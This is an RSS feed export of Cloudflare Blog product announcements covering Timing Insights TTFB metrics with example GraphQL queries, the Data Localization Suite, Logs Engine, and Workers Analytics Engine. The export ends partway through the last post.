
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sat, 11 Apr 2026 08:50:09 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Introducing Timing Insights: new performance metrics via our GraphQL API]]></title>
            <link>https://blog.cloudflare.com/introducing-timing-insights/</link>
            <pubDate>Tue, 20 Jun 2023 13:00:47 GMT</pubDate>
            <description><![CDATA[ If you care about the performance of your website or APIs, it’s critical to understand why things are slow.  Today we're introducing new analytics tools to help you understand what is contributing to "Time to First Byte" (TTFB) of Cloudflare and your origin ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1OastOs9G4xxa9jwrnKl3V/b50435c06e0316b8bf78cef88bce6888/xi31J0JmYNP5dcB-gEsTujRYG1gyFUsod_Fx7XPsjPwwxTQBIOFwTy9m0jPNQabe0bi5oUSwJHo5ubAq9rcAhgTXsqlTcoi9rpLM5pwoAwY-Yj8vuothGdHJHJbz.png" />
            
            </figure><p>If you care about the performance of your website or APIs, it’s critical to understand why things are slow.</p><p>Today we're introducing new analytics tools to help you understand what is contributing to "Time to First Byte" (TTFB) of Cloudflare and your origin. TTFB is just a simple timer from when a client sends a request until it receives the first byte in response. Timing Insights breaks down TTFB from the perspective of our servers to help you understand <i>what</i> is slow, so that you can begin addressing it.</p><p>But wait – maybe you've heard that <a href="/ttfb-time-to-first-byte-considered-meaningles/">you should stop worrying about TTFB</a>? Isn't Cloudflare <a href="/ttfb-is-not-what-it-used-to-be/">moving away</a> from TTFB as a metric? Read on to understand why there are still situations where TTFB matters.</p>
    <div>
      <h3>Why you may need to care about TTFB</h3>
      <a href="#why-you-may-need-to-care-about-ttfb">
        
      </a>
    </div>
    <p>It's true that TTFB on its own can be a misleading metric. When measuring web applications, metrics like <a href="https://web.dev/vitals/">Web Vitals</a> provide a more holistic view into user experience. That's why we offer Web Analytics and Lighthouse within <a href="/cloudflare-observatory-generally-available/">Cloudflare Observatory</a>.</p><p>But there are two reasons why you still may need to pay attention to TTFB:</p><p><b>1. Not all applications are websites</b>More than half of Cloudflare traffic is for APIs, and many customers with API traffic don't control the environments where those endpoints are called. In those cases, there may not be anything you can <a href="https://www.cloudflare.com/application-services/solutions/app-performance-monitoring/">monitor</a> or improve besides TTFB.</p><p><b>2. Sometimes TTFB is the problem</b>Even if you are measuring Web Vitals metrics like LCP, sometimes the reason your site is slow is because TTFB is slow! And when that happens, you need to know why, and what you can do about it.</p><p>When you need to know why TTFB is slow, we’re here to help.</p>
    <div>
      <h3>How Timing Insights can help</h3>
      <a href="#how-timing-insights-can-help">
        
      </a>
    </div>
    <p>We now expose performance data through our <a href="https://developers.cloudflare.com/analytics/graphql-api/">GraphQL Analytics API</a> that will let you query TTFB performance, and start to drill into what contributes to TTFB.</p><p>Specifically, customers on our Pro, Business, and Enterprise plans can now query for the following fields in the <code>httpRequestsAdaptiveGroups</code> dataset:</p><p><b>Time to First Byte</b> (edgeTimeToFirstByteMs)</p><p>What is the time elapsed between when Cloudflare started processing the first byte of the request received from an end user, until when we started sending a response?</p><p><b>Origin DNS lookup time</b> (edgeDnsResponseTimeMs)</p><p>If Cloudflare had to <a href="https://developers.cloudflare.com/dns/zone-setups/partial-setup/setup/">resolve a CNAME</a> to reach your origin, how long did this take?</p><p><b>Origin Response Time</b> (originResponseDurationMs)</p><p>How long did it take to reach, and receive a response from your origin?</p><p>We are exposing each metric as an average, median, 95th, and 99th percentiles (i.e. P50 / P95 / P99).</p><p>The <code>httpRequestAdaptiveGroups</code> dataset powers the <a href="https://dash.cloudflare.com/?to=/:account/:zone/analytics/traffic">Traffic</a> analytics page in our dashboard, and represents all of the HTTP requests that flow through our network. The upshot is that this dataset gives you the ability to filter and “group by” any aspect of the HTTP request.</p>
    <div>
      <h3>An example of how to use Timing Insights</h3>
      <a href="#an-example-of-how-to-use-timing-insights">
        
      </a>
    </div>
    <p>Let’s walk through an example of how you’d actually use this data to pinpoint a problem.</p><p>To start with, I want to understand the lay of the land by querying TTFB at various quantiles:</p>
            <pre><code>query TTFBQuantiles($zoneTag: string) {
  viewer {
    zones(filter: {zoneTag: $zoneTag}) {
      httpRequestsAdaptiveGroups(limit: 1) {
        quantiles {
          edgeTimeToFirstByteMsP50
          edgeTimeToFirstByteMsP95
          edgeTimeToFirstByteMsP99
        }
      }
    }
  }
}

Response:
{
  "data": {
    "viewer": {
      "zones": [
        {
          "httpRequestsAdaptiveGroups": [
            {
              "quantiles": {
                "edgeTimeToFirstByteMsP50": 32,
                "edgeTimeToFirstByteMsP95": 1392,
                "edgeTimeToFirstByteMsP99": 3063,
              }
            }
          ]
        }
      ]
    }
  }
}</code></pre>
            <p>This shows that TTFB is over 1.3 seconds at P95 – that’s fairly slow, given that <a href="https://web.dev/lcp/">best practices</a> are for 75% of pages to <i>finish rendering</i> within 2.5 seconds, and TTFB is just one component of LCP.</p><p>If I want to dig into why TTFB, it would be helpful to understand <i>which URLs</i> are slowest. In this query I’ll filter to that slowest 5% of page loads, and now look at the <i>aggregate</i> time taken – this helps me understand which pages contribute most to slow loads:</p>
            <pre><code>query slowestURLs($zoneTag: string, $filter:filter) {
  viewer {
    zones(filter: {zoneTag: $zoneTag}) {
      httpRequestsAdaptiveGroups(limit: 3, filter: {edgeTimeToFirstByteMs_gt: 1392}, orderBy: [sum_edgeTimeToFirstByteMs_DESC]) {
        sum {
          edgeTimeToFirstByteMs
        }
        dimensions {
          clientRequestPath
        }
      }
    }
  }
}

Response:
{
  "data": {
    "viewer": {
      "zones": [
        {
          "httpRequestsAdaptiveGroups": [
            {
              "dimensions": {
                "clientRequestPath": "/api/v2"
              },
              "sum": {
                "edgeTimeToFirstByteMs": 1655952
              }
            },
            {
              "dimensions": {
                "clientRequestPath": "/blog"
              },
              "sum": {
                "edgeTimeToFirstByteMs": 167397
              }
            },
            {
              "dimensions": {
                "clientRequestPath": "/"
              },
              "sum": {
                "edgeTimeToFirstByteMs": 118542
              }
            }
          ]
        }
      ]
    }
  }
}</code></pre>
            <p>Based on this query, it looks like the <code>/api/v2</code> path is most often responsible for these slow requests. In order to know how to fix the problem, we need to know <i>why</i> these pages are slow. To do this, we can query for the average (mean) DNS and origin response time for queries on these paths, where TTFB is above our P95 threshold:</p>
            <pre><code>query originAndDnsTiming($zoneTag: string, $filter:filter) {
  viewer {
    zones(filter: {zoneTag: $zoneTag}) {
      httpRequestsAdaptiveGroups(filter: {edgeTimeToFirstByteMs_gt: 1392, clientRequestPath_in: [$paths]}) {
        avg {
          originResponseDurationMs
          edgeDnsResponseTimeMs
        }
      }
    }
}

Response:
{
  "data": {
    "viewer": {
      "zones": [
        {
          "httpRequestsAdaptiveGroups": [
            {
              "average": {
                "originResponseDurationMs": 4955,
                "edgeDnsResponseTimeMs": 742,
              }
            }
          ]
        }
      ]
    }
  }
}</code></pre>
            <p>According to this, most of the long TTFB values are actually due to resolving DNS! The good news is that’s something we can fix – for example, by setting longer TTLs with my DNS provider.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Coming soon, we’ll be bringing this to Cloudflare Observatory in the dashboard so that you can easily explore timing data via the UI.</p><p>And we’ll be adding even more granular metrics so you can see exactly which components are contributing to high TTFB. For example, we plan to separate out the difference between origin “connection time” (how long it took to establish a TCP and/or TLS connection) vs “application response time” (how long it took an HTTP server to respond).</p><p>We’ll also be making improvements to our GraphQL API to allow more flexible querying – for example, the ability to query arbitrary percentiles, not just 50th, 95th, or 99th.</p><p>Start using the <a href="https://developers.cloudflare.com/analytics/graphql-api/">GraphQL API</a> today to get Timing Insights, or hop on the discussion about our Analytics products in <a href="https://discord.com/channels/595317990191398933/1115387663982276648">Discord</a>.</p>
    <div>
      <h3>Watch on Cloudflare TV</h3>
      <a href="#watch-on-cloudflare-tv">
        
      </a>
    </div>
    <div></div> ]]></content:encoded>
            <category><![CDATA[Speed Week]]></category>
            <category><![CDATA[Performance]]></category>
            <category><![CDATA[Analytics]]></category>
            <category><![CDATA[GraphQL]]></category>
            <guid isPermaLink="false">1vitH7RVlSZWDB2VUyPmVA</guid>
            <dc:creator>Jon Levine</dc:creator>
            <dc:creator>Miki Mokrysz</dc:creator>
        </item>
        <item>
            <title><![CDATA[Navigating the changing data localization landscape with Cloudflare’s Data Localization Suite]]></title>
            <link>https://blog.cloudflare.com/dls-2022/</link>
            <pubDate>Thu, 26 Jan 2023 14:00:00 GMT</pubDate>
            <description><![CDATA[ We continue to expand and improve our data localization suite to help support our customers who have to comply with data localization requirements ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4EYiLjXGqj15qzzu24PmZ3/bfc3ae0c89d06eede8899add141bf3fc/image1-51.png" />
            
            </figure><p>At Cloudflare, we believe that deploying effective <a href="https://www.cloudflare.com/learning/security/what-is-cyber-security/">cybersecurity</a> measures is the <a href="/investing-in-security-to-protect-data-privacy/">best way to protect</a> the privacy of personal information and can be more effective than making sure that information stays within a particular jurisdiction. Yet, we hear from customers in Europe, India, Australia, Japan, and many other regions that, as part of their privacy programs, they need solutions to localize data in order to meet their regulatory obligations.</p><p>So as we think about Data Privacy Day, which is coming up on January 28, we are in the interesting position of disagreeing with those who believe that data localization is a proxy for better data privacy, but of also wanting to support our customers who have to comply with certain regulations.</p><p>For this reason, we <a href="/introducing-the-cloudflare-data-localization-suite/">introduced our Data Localization Suite</a> (DLS) in 2020 to help customers navigate a data protection landscape that focuses more and more on data localization. With the DLS, customers can use Cloudflare’s powerful global network and security measures to protect their businesses, while keeping the data we process on their behalf local. Since its launch, we’ve had many customers adopt the Data Localization Suite. In this blog post we want to share updates about how we’re making the DLS more comprehensive and easier to use.</p>
    <div>
      <h3>The confusing state of data protection regulations</h3>
      <a href="#the-confusing-state-of-data-protection-regulations">
        
      </a>
    </div>
    <p>We frequently field questions from customers who hear about new local laws or interpretations of existing regulations that seem to limit what they can do with data. This is especially confusing for customers doing business on the global Internet because they have to navigate regulations that suggest customers based in one country can’t use products from companies based in another country, unless extensive measures are put in place.</p><p>We don’t think this is any way to regulate the Internet. As we’ll talk more about in our blog post tomorrow about cross-border data transfers, we’re encouraged to see new developments aimed at establishing a common set of data protections across jurisdictions to make these data transfers more seamless.</p><p>In the meantime, we have the Data Localization suite to help our customers navigate these challenges.</p>
    <div>
      <h3>A recap of how the Data Localization Suite works</h3>
      <a href="#a-recap-of-how-the-data-localization-suite-works">
        
      </a>
    </div>
    <p>We developed DLS to address three primary customer concerns:</p><ol><li><p>How do I ensure my encryption keys stay in my jurisdiction?</p></li><li><p>How can I ensure that application services like caching and <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAF</a> only run in my jurisdiction?</p></li><li><p>How can I ensure that logs and metadata are never transferred outside my jurisdiction?</p></li></ol><p>To address these concerns, our DLS has an encryption key component, a component that addresses where content in transit is terminated and inspected, and a component that keeps metadata within a customers’ jurisdiction:</p><p><b>1. Encryption Keys</b>Cloudflare has long offered <a href="https://www.cloudflare.com/ssl/keyless-ssl/">Keyless SSL</a> and <a href="/introducing-cloudflare-geo-key-manager/">Geo Key Manager</a>, which ensure that private SSL/TLS key material never leaves the EU. Customers using our Geo Key Manager can choose for encryption keys to be stored only in data centers in the region the customer specifies. Keyless SSL ensures that Cloudflare never has possession of the private key material at all; Geo Key Manager ensures that keys are protected with cryptographic access control, so they can only be used in specified regions.</p><p><b>2. </b><a href="/introducing-regional-services/"><b>Regional Services</b></a>:Regional Services ensures that Cloudflare will only be able to decrypt and inspect the content of HTTPS traffic inside a customer’s chosen region. When Regional Services is enabled, regardless of which data center traffic first hits on our global network, rather than decrypting it at the first data center, we forward the TCP stream in encrypted form. Once it reaches a data center inside the customer’s chosen region, we decrypt and apply our Layer 7 security measures to prevent malicious traffic from reaching our customers’ websites.</p><p><b>3. </b><a href="/introducing-the-customer-metadata-boundary/"><b>Customer Metadata Boundary</b></a>:With this option enabled, no end user traffic logs (which contain IP addresses) that Cloudflare processes on behalf of our customers will leave the region chosen by the customer. (Currently available only in the EU and US.)</p>
    <div>
      <h3>Expanding Data Localization Suite to new regions</h3>
      <a href="#expanding-data-localization-suite-to-new-regions">
        
      </a>
    </div>
    <p>Although we launched the Data Localization Suite with Europe and America in mind at first, we quickly realized a lot of our customers were interested in versions specific to the Asia-Pacific region as well. In September of last year, we added <a href="/regional-services-comes-to-apac/">support for Regional Services</a> in Japan, Australia, and India.</p><p>Then in December 2022 we announced that Geo Key Manager is now accessible in <a href="/configurable-and-scalable-geo-key-manager-closed-beta/">15 regions</a>. Customers can both allow- and deny-list the regions that they want us to support for fine-grained control over where their key material is stored.</p><p>See also our <a href="/inside-geo-key-manager-v2">technical deep dive</a> about how we built Geo Key Manager v2.</p>
    <div>
      <h3>Making data localization more accessible</h3>
      <a href="#making-data-localization-more-accessible">
        
      </a>
    </div>
    <p>Regional Services and the Customer Metadata Boundary offer important protections for our customers — but they’ve been too hard to use. Both have required manual steps taken by teams at Cloudflare, and have had confusing (or no) public APIs.</p><p>Today, we’re fixing that! We’re excited to announce two big improvements to usability:</p><ol><li><p>Regional Services customers now have a dedicated UI and <a href="https://developers.cloudflare.com/data-localization/regional-services/get-started/#configure-regional-services-via-api">API for enabling Regional Services</a>, accessible straight from the DNS tab. Different regions can now be set on a per-hostname basis</p></li><li><p>Customers who want to use the Metadata Boundary can use <a href="https://developers.cloudflare.com/data-localization/metadata-boundary/get-started/">our self-service API</a> to enable it.</p></li></ol><p>We’re excited about making it easier to use the Data Localization Suite and give customers more control over exactly how to localize which parts of their traffic.</p>
    <div>
      <h3>What’s next</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>The Data Localization Suite is accessible today for enterprise customers. Please chat with your account representative if you’re interested in using it, and you can <a href="https://developers.cloudflare.com/data-localization/">find more information here</a> about configuring it in our developer docs.</p><p>We have lots more planned for the Data Localization Suite this year. We plan to support many more regions for Regional Services and the Metadata Boundary. We also plan to have full data localization support for all of our Zero Trust products. Stay tuned to the blog for more!</p> ]]></content:encoded>
            <category><![CDATA[Data Privacy Day]]></category>
            <category><![CDATA[Data Localization]]></category>
            <category><![CDATA[Data Localization Suite]]></category>
            <category><![CDATA[Policy & Legal]]></category>
            <guid isPermaLink="false">6Rg92MVxprXul5pDi5Z5tk</guid>
            <dc:creator>Emily Hancock</dc:creator>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[Store and process your Cloudflare Logs... with Cloudflare]]></title>
            <link>https://blog.cloudflare.com/announcing-logs-engine/</link>
            <pubDate>Tue, 15 Nov 2022 14:00:00 GMT</pubDate>
            <description><![CDATA[ Today we’re announcing Cloudflare Logs Engine — a new system that will enable you to do anything you need with Cloudflare Logs, all within Cloudflare ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/11il4y7Tq0Uyuzfc3SlYMl/b8f346cf6f306b43c69f1aa07cf71f38/image1-32.png" />
            
            </figure><p>Millions of customers trust Cloudflare to accelerate their website, protect their network, or as a platform to build their own applications. But, once you’re running in production, how do you know what’s going on with your application? You need <a href="https://developers.cloudflare.com/logs/">logs from Cloudflare</a> – a record of what happened on our network when your customers interacted with your product that uses Cloudflare.</p><p>Cloudflare Logs are an indispensable tool for debugging applications, identifying security vulnerabilities, or just understanding how users are interacting with your product. However, our customers generate petabytes of logs, and store them for months or years at a time. Log data is tantalizing: all those answers, just waiting to be revealed with the right query! But until now, it’s been too hard for customers to actually store, search, and understand their logs without expensive and cumbersome third party tools.</p><p>Today we’re announcing Cloudflare Logs Engine: a new product to enable any kind of investigation with Cloudflare Logs — all within Cloudflare.</p><p>Starting today, Cloudflare customers who push their logs to R2 can retrieve them by time range and unique identifier. Over the coming months we want to enable customers to:</p><ul><li><p>Store logs for any Cloudflare dataset, for as long as you want, with a few clicks</p></li><li><p>Access logs no matter what plan you use, without relying on third party tools</p></li><li><p>Write queries that include multiple datasets</p></li><li><p>Quickly identify the logs you need and take action based on what you find</p></li></ul>
    <div>
      <h3>Why Cloudflare Logs?</h3>
      <a href="#why-cloudflare-logs">
        
      </a>
    </div>
    <p>When it comes to visibility into your traffic, most customers start with <i>analytics</i>. Cloudflare dashboard is full of analytics about all of our products, which give a high-level overview of what’s happening: for example, number of requests served, the ratio of cache hits, or the amount of CPU time used.</p><p>But sometimes, more detail is needed. Developers especially need to be able to read individual log lines to debug applications. For example, suppose you notice a problem where your application throws an error in an unexpected way – you need to know the cause of that error and see every request with that pattern.</p><p>Cloudflare offers tools like <a href="https://developers.cloudflare.com/logs/instant-logs/">Instant Logs</a> and <a href="https://developers.cloudflare.com/workers/wrangler/commands/#tail">wrangler tail</a> which excel at real-time debugging. These are incredibly helpful if you’re making changes on the fly, or if the problem occurs frequently enough that it will appear during your debugging session.</p><p>In other cases, you need to find that needle in a haystack — the one rare event that causes everything to go wrong. Or you might have identified a security issue and want to make sure you’ve identified <i>every</i> time that issue could have been exploited in your application’s history.</p><p>When this happens, you need logs. In particular, you need <i>forensics:</i> the ability to search the entire history of your logs.</p>
    <div>
      <h3>A brief overview of log analysis</h3>
      <a href="#a-brief-overview-of-log-analysis">
        
      </a>
    </div>
    <p>Before we take a look at Logs Engine itself, I want to briefly talk about alternatives – how have our customers been dealing with their logs so far?</p><p>Cloudflare has long offered <a href="https://developers.cloudflare.com/logs/logpull/">Logpull</a> and <a href="https://developers.cloudflare.com/logs/about/">Logpush</a>. Logpull enables enterprise customers to store their HTTP logs on Cloudflare for up to seven days, and retrieve them by either time or RayID. Logpush can send your Cloudflare logs just about anywhere on the Internet, quickly and reliably. While Logpush provides more flexibility, it’s been up to customers to actually store and analyze those logs.</p><p>Cloudflare has a number of <a href="https://developers.cloudflare.com/logs/get-started/enable-destinations/">partnerships</a> with SIEMs and data warehouses/data lakes. Many of these tools even have pre-built Cloudflare dashboards for easy visibility. And third party tools have a big advantage in that you can store and search across many log sources, not just Cloudflare.</p><p>That said, we’ve heard from customers that they have some challenges with these solutions.</p><p>First, third party log tooling can be expensive! Most tools require that you pay not just for storage, but for indexing all of that data when it’s ingested. While that enables powerful search functionality later on, Cloudflare (by its nature) is often one of the largest emitters of logs that a developer will have. If you were to store and index every log line we generate, it can cost more money to analyze the logs than to deliver the actual service.</p><p>Second, these tools can be hard to use. Logs are often used to track down an issue that customers discover via analytics in the Cloudflare dashboard. After finding what you need in logs, it can be hard to get back to the right part of the Cloudflare dashboard to make the appropriate configuration changes.</p><p>Finally, Logpush was previously limited to Enterprise plans. Soon, we will start offering these services to customers at any scale, regardless of plan type or how they choose to pay.</p>
    <div>
      <h3>Why Logs Engine?</h3>
      <a href="#why-logs-engine">
        
      </a>
    </div>
    <p>With Logs Engine, we wanted to solve these problems. We wanted to build something affordable, easy to use, and accessible to any Cloudflare customer. And we wanted it to work for any Cloudflare logs dataset, for any span of time.</p><p>Our first insight was that to make logs affordable, we need to separate storage and compute. The cost of Storage is actually quite low! Thanks to R2, there’s no reason many of our customers can’t store all of their logs for long periods of time. At the same time, we want to separate out the <i>analysis</i> of logs so that customers only pay for the compute of logs they analyze – not every line ingested. While we’re still developing our query pricing, our aim is to be predictable, transparent and upfront. You should never be surprised by the cost of a query (or land a huge bill by accident).</p><p>It’s great to separate storage and compute. But, if you need to scan all of your logs anyway to answer the first question you have, you haven’t gained any benefits to this separation. In order to realize cost savings, it’s critical to narrow down your search before executing a query. That’s where our next big idea came in: a tight integration with analytics.</p><p>Most of the time, when analyzing logs, you don’t know what you’re looking for. For example, if you’re trying to find the cause of a specific origin status code, you may need to spend some time understanding which origins are impacted, which clients are sending them, and the time range in which these errors happened. Thanks to our <a href="/explaining-cloudflares-abr-analytics/">ABR analytics</a>, we can provide a good summary of the data very quickly – but not the exact details of what happened. By integrating with analytics, we can help customers narrow down their queries, then switch to Logs Engine once you know exactly what you’re looking for.</p><p>Finally, we wanted to make logs accessible to anyone. That means all plan types – not just Enterprise.</p><p>Additionally, we want to make it easy to both set up log storage and analysis, and also to take action on logs once you find problems. With Logs Engine, it will be possible to search logs right from the dashboard, and to immediately create <a href="https://developers.cloudflare.com/rules/">rules</a> based on the patterns you find there.</p>
    <div>
      <h3>What’s available today and our roadmap</h3>
      <a href="#whats-available-today-and-our-roadmap">
        
      </a>
    </div>
    <p>Today, Enterprise customers can store logs in R2 and <a href="https://developers.cloudflare.com/logs/r2-log-retrieval/">retrieve them</a> via time range. Currently in beta, we also allow customers to retrieve logs by RayID (see our <a href="/r2-rayid-retrieval/">companion blog post</a>) — to join the beta, please email <a>logs-engine-beta@cloudflare.com</a>.</p><p>Coming soon, we will enable customers on <i>all</i> plan types — not just Enterprise — to ingest logs into Logs Engine. Details on pricing will follow soon.</p><p>We also plan to build more powerful querying capability, beyond time range and RayID lookup. For example, we plan to support arbitrary filtering on any column, plus more expressive queries that can look across datasets or aggregate data.</p><p>But why stop at logs? This foundation lays the groundwork to support other types of data sources and queries one day. We are just getting started. Over the long term, we’re also exploring the ability to ingest data sources <i>outside</i> of Cloudflare and query them. Paired with <a href="https://developers.cloudflare.com/analytics/analytics-engine/">Analytics Engine</a> this is a formidable way to explore any data set in a cost-effective way!</p> ]]></content:encoded>
            <category><![CDATA[Developer Week]]></category>
            <category><![CDATA[Logs]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">7l7PSKkuMDp5hbuUzIeZU5</guid>
            <dc:creator>Jon Levine</dc:creator>
            <dc:creator>Jen Sells</dc:creator>
        </item>
        <item>
            <title><![CDATA[Don't roll your own high cardinality analytics, use Workers Analytics Engine]]></title>
            <link>https://blog.cloudflare.com/analytics-engine-open-beta/</link>
            <pubDate>Fri, 30 Sep 2022 13:00:00 GMT</pubDate>
            <description><![CDATA[ Join our open beta and start collecting telemetry about anything using Cloudflare Workers today! ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Workers Analytics Engine (or for short, Analytics Engine) is a new way for developers to store and analyze time series analytics about anything using Cloudflare Workers, and it’s now in open beta! Analytics Engine is really good at gathering time-series data for really high cardinality and high-volume data sets from Cloudflare Workers. At Cloudflare, we use Analytics Engine to provide insight into how our customers use Cloudflare products.</p>
    <div>
      <h3>Log, log, logging!</h3>
      <a href="#log-log-logging">
        
      </a>
    </div>
    <p>As an example, Analytics Engine is used to observe the backend that powers <a href="https://developers.cloudflare.com/logs/instant-logs/">Instant Logs</a>. Instant Logs allows Cloudflare customers to stream a live session of the HTTP logs for their domain to the Cloudflare dashboard. The backend for Instant Logs is built on Cloudflare Workers.</p><p>Briefly, the <a href="/how-we-built-instant-logs/">Instant Logs backend works</a> by receiving requests from each Cloudflare server that processes a customer's HTTP traffic. These requests contain the HTTP logs for the customer’s HTTP traffic. The Instant Logs backend then forwards these HTTP logs to the customer’s browser via a WebSocket.</p><p>In order to ensure that the HTTP logs are being delivered smoothly to a customer's browser, we need to track the request rates across all active Instant Logs sessions. We also need to track the request rates across all Cloudflare data centers, since Instant Logs is built on Cloudflare Workers, and Cloudflare Workers is built on Cloudflare’s massive <a href="https://www.cloudflare.com/network/">network</a>. As a result, the data set for the Instant Logs backend has really massive cardinality!</p><p>“Traditional” metrics systems like Prometheus are <a href="https://prometheus.io/docs/practices/naming/#labels">poorly suited to serving high cardinality data</a>. Fortunately, this is exactly the problem that Analytics Engine is designed to solve. So, we sent all the Instant Logs backend request logs to Analytics Engine. Log, log, logging!</p><p>Using the Analytics Engine API (which has a SQL interface), we can visualize the Instant Logs backend request rates for the top sessions and top data centers over the previous month. “Zooming in” to an interesting period is also really fast. We’ve designed Analytics Engine so that queries always respond within the window of interactivity (more on this later). This makes it well-suited for interactive debugging with a dashboard tool (in this case we’re using Grafana).</p><div></div>
<p></p>
    <div>
      <h3>What we learned in closed beta</h3>
      <a href="#what-we-learned-in-closed-beta">
        
      </a>
    </div>
    <p>We received a lot of great feedback during the closed beta. Developers were excited about the SQL API, ease of integration with Workers, the ability to query data in Grafana (with more integrations in future), and our simple pricing model (free!). However, there were a number of things that we needed to fix before moving on to the open beta phase.</p><p>Developers were supportive of our choice to use SQL (the world’s language for data) as the interface for the Analytics Engine API. However, when developers used the Analytics Engine API, they found that the error messages were opaque and difficult to debug. For the open beta, we have rewritten the API from the ground-up to provide much improved error messaging.</p><p><i>Before:</i><code>&gt; SELECT column_that_does_not_exist FROM your_dataset FORMAT JSONSorry, we were unable to evaluate your query</code></p><p><i>After:</i><code>&gt; SELECT column_that_does_not_exist FROM your_dataset FORMAT JSONcannot select unknown column: "column_that_does_not_exist"</code></p><p>In addition to understanding what went wrong, developers also wanted to understand what the API is capable of doing. For the open beta, we’ve written a comprehensive SQL reference for Analytics Engine. We also have a few “How To” guides, including information on how to <a href="https://developers.cloudflare.com/analytics/analytics-engine/">hook up the API to Grafana</a>.</p>
    <div>
      <h3>ABR and Analytics Engine</h3>
      <a href="#abr-and-analytics-engine">
        
      </a>
    </div>
    <p>Analytics Engine uses <a href="/explaining-cloudflares-abr-analytics/">Cloudflare’s ABR technology</a> to make queries fast. This means that every query is satisfied by a resolution of the data that matches the query. For example, if we are looking at data for the last month, we might use a lower resolution version of the Analytics Engine data than if we are looking at the last hour. The lower resolution data will provide the correct answer, but will respond within the window of interactivity. By using multiple, different resolutions of the same data, ABR provides consistent response times.</p><p>To account for the different resolutions of data, each event carries with it information about the resolution of data that the event comes from. This information is encoded in the <code>_sample_interval</code> column. For example, if an event comes from a resolution of the data which is 1% of the original data, its <code>_sample_interval</code> will be set to 100. To reconstruct the number of events in the original data, we can use the query:</p><p><code>SELECT sum(_sample_interval) AS count FROM dataset</code></p><p>For the open beta, we are exposing <code>_sample_interval</code> directly to developers. In the future, we’ll make it easier to work with this field by providing convenience functions which automatically take into account varying resolutions of the data. We also want to provide the ability to understand the confidence level of the estimates that these functions return.</p>
    <div>
      <h3>Coming soon</h3>
      <a href="#coming-soon">
        
      </a>
    </div>
    <p>This is just the beginning for Workers Analytics Engine. Internally, there has been high demand for the ability to define alerts based on the data captured by Analytics Engine. This is also something that we want developers to be able to do.</p><p>As in the closed beta, fields are accessed via names that have 1-based indexing (blob1, blob2, double1, double2, etc.). In the future, we will allow developers to attach names to fields, and these names will be available to use to retrieve data via the SQL API.</p><p>Something we want to provide is a rich UX in the Cloudflare dashboard (imagine something like Grafana in the Cloudflare dashboard). Ultimately, we don’t want developers to have to set up their own infrastructure for exploring data captured with Analytics Engine.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p><a href="https://dash.cloudflare.com/?to=/:account/workers/analytics-engine">Try Workers Analytics Engine today</a>! Please let us know if you have any ideas or more advanced use cases that aren’t supported. We’re discussing everything about the Analytics Engine in our <a href="https://discord.gg/mkTRayHntk">discord channel</a> too - join the conversation!</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Serverless]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">1vzi46x9WObKfQq9kgajrm</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing Workers Analytics Engine]]></title>
            <link>https://blog.cloudflare.com/workers-analytics-engine/</link>
            <pubDate>Thu, 12 May 2022 12:58:37 GMT</pubDate>
            <description><![CDATA[ Workers Analytics Engine is a new way to get telemetry about anything using Cloudflare Workers. Workers Analytics Engine provides time series analytics built for the serverless era ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Today we’re excited to introduce Workers Analytics Engine, a new way to get telemetry about anything using Cloudflare Workers. Workers Analytics Engine provides time series analytics built for the serverless era.</p><p>Workers Analytics Engine uses the same technology that powers Cloudflare’s analytics for millions of customers, who generate 10s of millions of events per second. This unique architecture provides significant benefits over traditional metrics systems – and even enables our customers to build analytics for <i>their</i> customers.</p>
    <div>
      <h3>Why use Workers Analytics Engine</h3>
      <a href="#why-use-workers-analytics-engine">
        
      </a>
    </div>
    <p>Workers Analytics Engine can be used to get telemetry about just about anything.</p><p>Our initial motivation for building Workers Analytics Engine was to help internal teams at Cloudflare better understand what’s happening in their Workers. For example, one early internal customer is our <a href="https://www.cloudflare.com/developer-platform/r2/">R2 storage product</a>. The R2 team is using the Analytics Engine to measure how many reads and writes happen in R2, how many users make these requests, how many bytes are transferred, how long the operations take, and so forth.</p><p>After seeing quick adoption from internal teams at Cloudflare, we realized that many customers could benefit from using this product.</p><p>For example, Workers Analytics Engine can also be used to build custom security rules. You could use it to implement something like <a href="https://www.fail2ban.org/wiki/index.php/Main_Page">fail2ban</a>, a program that can ban malicious traffic. Every time someone logs in, you could record information like their location and IP. On subsequent logins, you could query the rate of login attempts from these attackers, and block them if they’ve attempted to sign in too many times in a given period.</p><p>Workers Analytics Engine can even be used to track things in the world that have nothing (yet!) to do with Workers. For example, imagine you have a network of IoT sensors that connect to the Internet to report weather and air quality data, like temperature, air pressure, wind speed, and PM2.5 